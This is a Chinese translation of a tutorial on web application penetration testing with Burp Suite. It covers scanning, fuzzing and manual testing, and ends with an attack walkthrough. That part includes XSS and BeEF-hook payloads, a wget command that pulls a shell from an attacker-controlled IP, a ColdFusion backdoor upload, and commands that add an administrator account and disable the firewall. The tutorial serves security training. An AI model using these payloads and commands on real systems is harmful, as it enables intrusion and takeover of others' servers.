利用Burp Suite攻擊Web應用

張悠悠66發表於2018-06-27

i春秋作家:Passerby2

web應用測試綜述:

Web應用漏洞給企業資訊系統造成了很大的風險。許多web應用程式漏洞是由於web應用程式缺乏對輸入的過濾。簡而言之Web應用程式利用來自使用者的某種形式的輸入並且在應用程式中執行了這些資訊為其提供內容或者從系統的其他部分獲取資料。如果未正確過濾輸入攻擊者可以傳送非標準輸入來利用web應用程式。本文將重點討論burpsuite並介紹如何利用它來評估web應用程式。

Burpsuite綜述

Burpsuit有許多功能包括但不限於

  • Interception Proxy:旨在讓使用者控制傳送到伺服器的請求。
  • Repeater:快速重複或修改指定請求的能力。
  • Intruder:允許自動化自定義攻擊和payload。
  • Decoder:解碼和編碼不同格式的字串URL,BASE64,HTML等等。
  • Comparer: 高亮顯示不同的請求或響應之間的不同處。
  • Extender: 擴充套件Burp功能的API介面以及許多通過BApp商店免費提供的擴充套件。
  • Spider and Discover Content feature:爬取web應用程式上的連結並且可以被用來動態列舉非顯式連結的內容來尋找資訊。
  • Scanner (Pro Only): 檢查web應用程式漏洞XSSSQLi程式碼注入檔案包含等的自動掃描程式。   

入門

Burp的詳細幫助文件在下面能找到

http://portswigger.net/burp/help/suite_gettingstarted.html

Burpsuite能通過java -jar命令列載入。你可以通過使用選項“-Xmx”分配你的burp所需記憶體。

java -jar -Xmx1024m /path/to/burp.jar

image.png

像許多攔截代理一樣Burp也是通過GUI驅動的但是有一些選項需要通過Extender功能利用命令列啟動。

一旦burpsuite啟動建議你先在Scope定義好目標主機。你可以在site map控制顯示的內容和其他功能。Scope能通過定義目標主機名IP或者網路範圍:

æ­¤å¤è¾å¥å¾ççæè¿°

Proxy選項卡顯示Burp的代理詳細資訊、intercept選項和HTTP請求歷史。在下面你可以看到“Intercept is on” 所以任何從瀏覽器發出的請求都將必須通過Burp的proxy手動點選forward才能進行

æ­¤å¤è¾å¥å¾ççæè¿°

Intercept 功能會截斷所有從瀏覽器傳送出來的流量其他擴充套件如FoxyProxy能用來指定哪個URL和IP是黑名單或白名單這些名單能繞過burp的截斷。
通過配置好Burp的scope和proxy你可以開始使用你的瀏覽器和burp瀏覽web應用程式瞭如你可以在Site Map目標右鍵彈出選單選項。在這個檢視中你可以看到web應用的目錄結構和資源。通過右擊URL或者資源你可以通過幾個選項呼叫其他功能例如Burp的spider功能或者執行主動式掃描

æ­¤å¤è¾å¥å¾ççæè¿°

便捷提示為了更容易專注於目標web應用程式你可以點選“Filter”選單隻顯示僅僅在範圍內的內容

æ­¤å¤è¾å¥å¾ççæè¿°

啟用Burp的spider功能將爬取web應用的連結預設爬取連結深度為5但是這些選項都是在“spider”選項卡中配置的。一旦你截斷web應用程式所有的請求和響應都將在“proxy”選項卡中記錄下來。你可以高亮顯示一個請求讓它脫穎而出並且可以在之後的分析中留下注釋

æ­¤å¤è¾å¥å¾ççæè¿°

Burp的Engagement Tools

  Burpsuite在它的Engagement Tools 右擊目標站點的檢視>Engagement Tools 下他提供了大量有用的功能。從這你可以選擇“Analysis Target”分析目標這個功能提供給你連結引數和靜態、動態內容的計數。瞭解這些資訊對評估目標非常有用。連結、引數、和動態內容越多注入fuzz的點就更多。
  在下面的截圖中你可以看到一些其他功能如“Schedule Task”定時任務讓你可以定時進行主動掃描。如果客戶端想在一天中的某幾個小時執行自動化測試這個功能特別有用。

連結文字æ­¤å¤è¾å¥å¾ççæè¿°

Discovering Unlinked Content發現非顯式連結內容

  進行web應用程式測試時將面臨到的一個問題是列舉未使用顯式連結的內容。這可能是一種很耗時的方式因為它主要依賴暴力猜解來製作請求並且檢視伺服器上是否存在該資源。舉個例子“/tmp/”目錄不是在web應用任何一個連結中但是如果傳送請求/tmp/目錄將得到響應。為了解決這個問題我們有許多其他的選擇

  • 利用Burp的Discover Content功能。
  • 利用其它掃描器Niktow3afZAP等來探測一些預設資源。
  • 利用DirBuster或Burp的Intruder功能基於一個固定列表暴力猜解資源。

所有的這些方法都非常耗時並且實際上可能找不到任何東西因此根據測試時間和範圍你可以不必讓DirBuster 執行一整天。一般情況下當你另外進行手工測試的時候它會自動在後臺執行。
  下面是一個例子呼叫Burp的Discover Content功能嘗試動態列舉非顯式連結的內容
æ­¤å¤è¾å¥å¾ççæè¿°

Burp的Decoder和Comparer(編解碼器和對比器)

當你開始測試WEB應用程式時你將發現你經常需要將字串解碼或編碼成不同格式。當嘗試繞過一些簡單的waf的時候非常有用。下面的例子是使用Burp的decoder執行URL編碼除此之外還有別的編解碼選項。

æ­¤å¤è¾å¥å¾ççæè¿°Burp的Comparer功能讓你快速將請求或響應進行比較並且高亮顯示它們之間的區別

æ­¤å¤è¾å¥å¾ççæè¿°

Burp的Extender擴充套件

擴充套件功能提供了強大的API介面開發通過使用指令碼語言開發額外的功能。許多擴充套件是用python編寫並且通過Burp的應用商店免費提供使用。有個非常有用的擴充套件是Carbonator它允許你在命令列中實現brupspider>scan>report的全自動化。下面是應用商店一些可用擴充套件的截圖

æ­¤å¤è¾å¥å¾ççæè¿°

Burp的Intruder暴力破解

另一個選項是利用Burp的intruder功能它可以使用一個請求並且允許使用者修改請求定義各種不同的payload注入點。一個常見的用例是迭代請求中的引數值用來檢視web應用程式如何響應例如get /product.php?item=1你也許可以使用intruder檢查比較一下1-1000響應的不同之處。你還可以將請求的資源作為要修改的位置。下面我們將通過遍歷一個目錄字典來演示這一點
  1.指定一個請求並且選擇“Send to Intruder”這將在“intruder”選項卡下彈出以下視窗。高亮顯示區域是在請求中將使用“sniper”payload進行暴力猜解的那部分

æ­¤å¤è¾å¥å¾ççæè¿°2.接下來是payload選項卡你可以載入一個字典進行暴力猜解

æ­¤å¤è¾å¥å¾ççæè¿°

3.選擇“Intruder > Start Attack”開始攻擊。接下來的結果視窗將顯示建立的請求和HTTP狀態碼。正如我們所看到的我們能列舉出一部分spider未發現的其他資源

æ­¤å¤è¾å¥å¾ççæè¿°

除了使用Burp建議在後臺執行中間掃描程式用來檢查一些預設配置和資源。下面是使用Nikto的例子也可以考慮其他掃描工具ZAPw3afGrendal等。正如我們所看到的Nikto發現了更多有趣的東西等待我們去調查如/tmp/和/test/:

æ­¤å¤è¾å¥å¾ççæè¿°

在初步的偵察之後我們想開始一個主動式掃描這能讓Burp測試已知內容以發現漏洞。主要通過Burp輸入內容HTML、javascript、SQL語法、系統命令等進行大量的工作並且監測應用程式如何響應來實現。與任何Web應用程式漏洞掃描器一樣Burp會報告一些需要手動驗證的報告。要啟動一個主動式掃描右擊site map上的URL或者資源並選擇“Actively scan this host”將會彈出下面主動掃描嚮導

æ­¤å¤è¾å¥å¾ççæè¿°

在Web應用程式的掃描時間可能因Web應用程式而異。在某些情況下Web應用程式的自動掃描時間範圍可能從幾個小時到幾天不等。掃描期間列舉的連結計數是潛在的掃描持續時間的一個很好的指標。下面的視窗顯示了1515個連結列舉但很少有引數用於測試輸入。不帶引數的連結將減少Burp對每個連結的請求次數因此掃描時間較短。
  在評估主動掃描網路應用時另一個關鍵因素是表單提交。當你主動掃描web應用程式時根據web應用程式和向使用者提供的功能你可能會生成大量日誌故障單作業等。如果不在評估範圍內應該密切監視這些情況以防止造成拒絕服務DoS情況。
  掃描開始後可通過跳轉到Burp中的“scanner”選項卡來檢視結果和狀態.

æ­¤å¤è¾å¥å¾ççæè¿°

隨著開始顯示結果你可以開始檢查一些結果。下面我們可以看到Burp提取多個爆出的結果以進一步調查

æ­¤å¤è¾å¥å¾ççæè¿°

分析掃描結果和手動測試

驗證Burp掃描結果確定是否是誤報充分了解結果這通常會是一個好主意。從選擇發現的結果開始選擇如“Cross-site scripting (reflected)”然後選擇並檢視其請求和響應中影響漏洞評估的詳細資訊。檢查XSS的第一件事就是在瀏覽器中重複這一個請求然後檢視指令碼是否執行了。你可以通過右擊請求正文部分然後選擇“Request in browser”

æ­¤å¤è¾å¥å¾ççæè¿°檢視瀏覽器中的響應對確定標記是否正確非常有用。由於XSS評估結果與在客戶端瀏覽器中執行的程式碼相關因此選擇在依賴於掃描器邏輯之前手工驗證發現結果非常重要。
  Burp的另一個常用功能是“Repeater”通常用於驗證結果或手動搜尋其他結果。只需右鍵單擊請求正文部分並選擇“Send to Repeater”

æ­¤å¤è¾å¥å¾ççæè¿°

在Repeater介面中你可以修改請求並快速重新傳送請求給Web應用程式。

æ­¤å¤è¾å¥å¾ççæè¿°

反射型XSS可以通過注入某種HTML / JavaScript的payload進行快速測試該payload解析無需輸入進行驗證。下面是修改XSS payload簡單地“alert”XSS“”的示例

æ­¤å¤è¾å¥å¾ççæè¿°

對於反射型XSS的實際應用你可能會利用iframe作為payload與魚叉式網路釣魚結合使用。下面是一個示例XSS payload你可以使用它來代替“alert”所以現在它可以載入客戶端側提供的exploit或BeEF掛鉤的第三方資源
<iframe height=”0″ width=”0″src=<BeEF_hook></iframe>

æ­¤å¤è¾å¥å¾ççæè¿°

BeEF是通過使用JavaScript來控制受害者瀏覽器的強大方法。在上面你可以看到使用XSS漏洞與BeEF相關的受害者瀏覽器。BeEF提供大量功能在受害者瀏覽器上執行甚至連線到Metasploit以進行攻擊。
  關於Web應用程式的安全性中XSS經常被許多人忽視因為你需要利用其他方法獲取最終目標——shell。關於XSS的一點需要注意的是我們已經確定Web應用程式沒有正確過濾使用者輸入並且這可能只是一個引出許多其他漏洞的跡象。
  在下面這種情況我們通過傳送到repeater並修改payload並在瀏覽器中顯示響應來驗證XSS並展示瞭如何利用XSS來控制受害者瀏覽器。Burp掃描結果另一個優點是修改發現結果所聯絡的風險等級。當分析掃描結果時你將毫無疑問遇見一些False Positive誤報情況。因此Burp提供使用者修改結果為“False Positive”的能力

æ­¤å¤è¾å¥å¾ççæè¿°

Burp能夠使用各種payload進行模糊輸入但它確實會遺漏一些特定版本的漏洞和配置問題。這對任何工具都很常見因此建議你執行手動測試來驗證工具找到的結果並列舉Web應用程式中的其他漏洞。

  手動測試的第一步是獲取Web應用程式使用的技術。特定的軟體和版本資訊可能會導致你獲取額外的資訊以獲取可能存在的漏洞或漏洞。Whatweb是一款非常棒的工具能夠讓你快速瞭解Web應用程式所使用的技術。下面我們可以看到whatweb的命令列語法和輸出

æ­¤å¤è¾å¥å¾ççæè¿°

此時我們可能已經在執行完整的Burp掃描之前執行了whatweb但是我們可以從whatweb的輸出中看到一些非常有趣的資訊。
  在這種情況下我們看到一個ColdFusion Web應用程式它給我們提供了手工測試的一個入手點。現在已經列舉出了ColdFusion檢查是否存在管理資源如“/ CFIDE / administrator /”以便判斷是否合乎ColdFusion應用的邏輯。

手工測試

  Burp也可以成為在Web應用程式上執行手工測試的好工具。通常這種型別的測試是通過安全評估來進行的並且隨著從各種掃描中發現更多資訊可以進一步利用手動測試來利用它。關於手工測試的主題可以講好幾本書本博文將重點介紹一些非常基礎的內容。當你開始瀏覽Web應用程式並檢視工具輸出時請問你自己以下問題
  1.列舉並研究所有可能存在的軟體版本。ColdFusionWordPressSharePoint等。

  • 研究所有軟體版本以檢查是否存在已知的漏洞和常見的錯誤配置
  • 嘗試請求與正在使用的技術相關的其他資源這些資源可能不會被Web應用程式顯式連結出來。

  2.Web應用程式是否用到了使用者輸入

  • 檢視修改引數值HTTP頭欄位cookie等以檢視Web應用程式的響應方式。

  3.如果你懷疑某個部分的請求出現在螢幕上請測試XSS。因此如果你瀏覽該頁面並注意到你的User-Agent可以直接看見請嘗試用一些HTML / JavaScript替換你的User-Agent以測試XSS<script> alert1</ script>

  4.你的請求是否被利用來針對資料庫執行查詢例如如果你注意到一個名為“id”的引數並且看到它帶有一個數字值請嘗試放置一個單引號“或雙引號”以嘗試生成資料庫錯誤。這種型別的測試可以識別SQL隱碼攻擊的存在。

  5.Web應用程式是否利用任何輸入來執行命令嘗試修改輸入以將附加命令附加到請求並檢視它是否被Web應用程式成功處理。

獲取一個shell

  Webshell有各種檔案格式和功能。你可能能夠登陸一個php shellraw shellmeterpreter等一個原始的netcat shell.asp shell.jsp等等。可以使用的shell型別取決於web應用程式所使用的技術和配置。例如如果你獲得了對Apache Tomcat GUI的訪問許可權則可以部署WAR後門。如果你在執行IIS時遇到一些RFI漏洞你可以嘗試上傳一個asp shell。

  當你獲得一個shell的時候你也可以使用Web應用程式服務帳戶的許可權來執行它可能無法在當前工作目錄中執行命令。由於這些原因你可能需要將Web Shell放置在/ tmp /目錄wget -O /tmp/shell.py http// <yourIp> /shell.py中。關於遠端命令執行RCE它一般需要在請求結束時有一個空位元組00。

有時候配置錯誤會導致可以上傳一個web shell。下面我們可以看到我們可以訪問ColdFusion管理介面。如果我們跳轉到這裡這實際上允許我們安排任務並上傳.cfm後門。這是一個重要的發現但許多自動化掃描工具完全錯過了
æ­¤å¤è¾å¥å¾ççæè¿°

這個例子不太可能發生在現實世界中但重點是列舉Web應用程式利用的軟體版本然後進行研究以發現任何漏洞。ColdFusion伴隨著許多目錄遍歷和越權漏洞已經成熟了。利用谷歌搜尋和檢查exploit-db等攻擊研究資源在這個測試階段可能會有很長的路要走。
  由於我們可以訪問管理介面因此下一個合理的步驟就是安排一個任務來呼叫.cfm後門並將其釋出到Web應用程式中。要在ColdFusion中安排任務它位於“Debugging&Logging”選單下

æ­¤å¤è¾å¥å¾ççæè¿°

接下來你需要在另一個地方快速搭起一個WEB伺服器以允許WEB應用程式將後門下載下來。我發現利用Python來快速建立一個Web伺服器是非常有用的
      python -m SimpleHTTPServer 80
然後我們可以配置並執行計劃任務來撤消併發布後門。你需要確保選中“publish”核取方塊並且可以從左側的伺服器設定摘要中列舉檔案系統目錄結構

æ­¤å¤è¾å¥å¾ççæè¿°

在我們執行計劃任務後你可以監控你的Python Web伺服器以檢視受害者伺服器請求後門。然後你可以跳轉到Web應用上的後門進行互動以在其OS上執行命令

æ­¤å¤è¾å¥å¾ççæè¿°我們可以執行一個“whoami”命令來檢視Web應用程式有什麼許可權

æ­¤å¤è¾å¥å¾ççæè¿°

作為“nt authority\system”執行,意味著我們可以開始進行一些修改如新增使用者並關閉防火牆。我們將使用以下命令新增一個使用者

net user jobin password /ADD
net user localgroup Administrators jobin /ADD
net localgroup “Remote Desktop Users” jobin /ADD

  現在禁用防火牆並通過.cfmshell新增使用者我們可以通過RDP協議連線受害者系統以獲得終端訪問許可權

æ­¤å¤è¾å¥å¾ççæè¿°

總結

  Web應用程式漏洞的常見來源是缺少對使用者輸入的過濾。Web應用程式掃描工具的工作原理是通過發出包含後面程式碼、缺少過濾的輸入請求來利用的Web程式碼語法本地/遠端資源等。
Web應用程式測試是一個非常高階的主題本博文僅關注一些基本知識Burp Suite簡介。如果你想了解有關Web應用程式測試的更多資訊請檢視以下資源

  • Metasploitable可以為Web應用程式提供很好的實踐
  • SecureIdeas提供便宜的Burp網路訓練研討會
  • OWASP
  • 通過訪問www.pentesterlab.com獲取免費培訓和實驗室
  • SANS 542和642 Web應用滲透測試課程
  • 攻擊性安全培訓OSCP有很多網路應用程式測試

作者primalsecurity
翻譯i春秋翻譯小組-海綿體VS括約肌
責任編輯jishuzhain
翻譯來源http://www.primalsecurity.net/0×2-exploit-tutorial-web-hacking-with-burp-suite/

有問題大家可以留言哦也歡迎大家到春秋論壇中來耍一耍  >>>點選跳轉

相關文章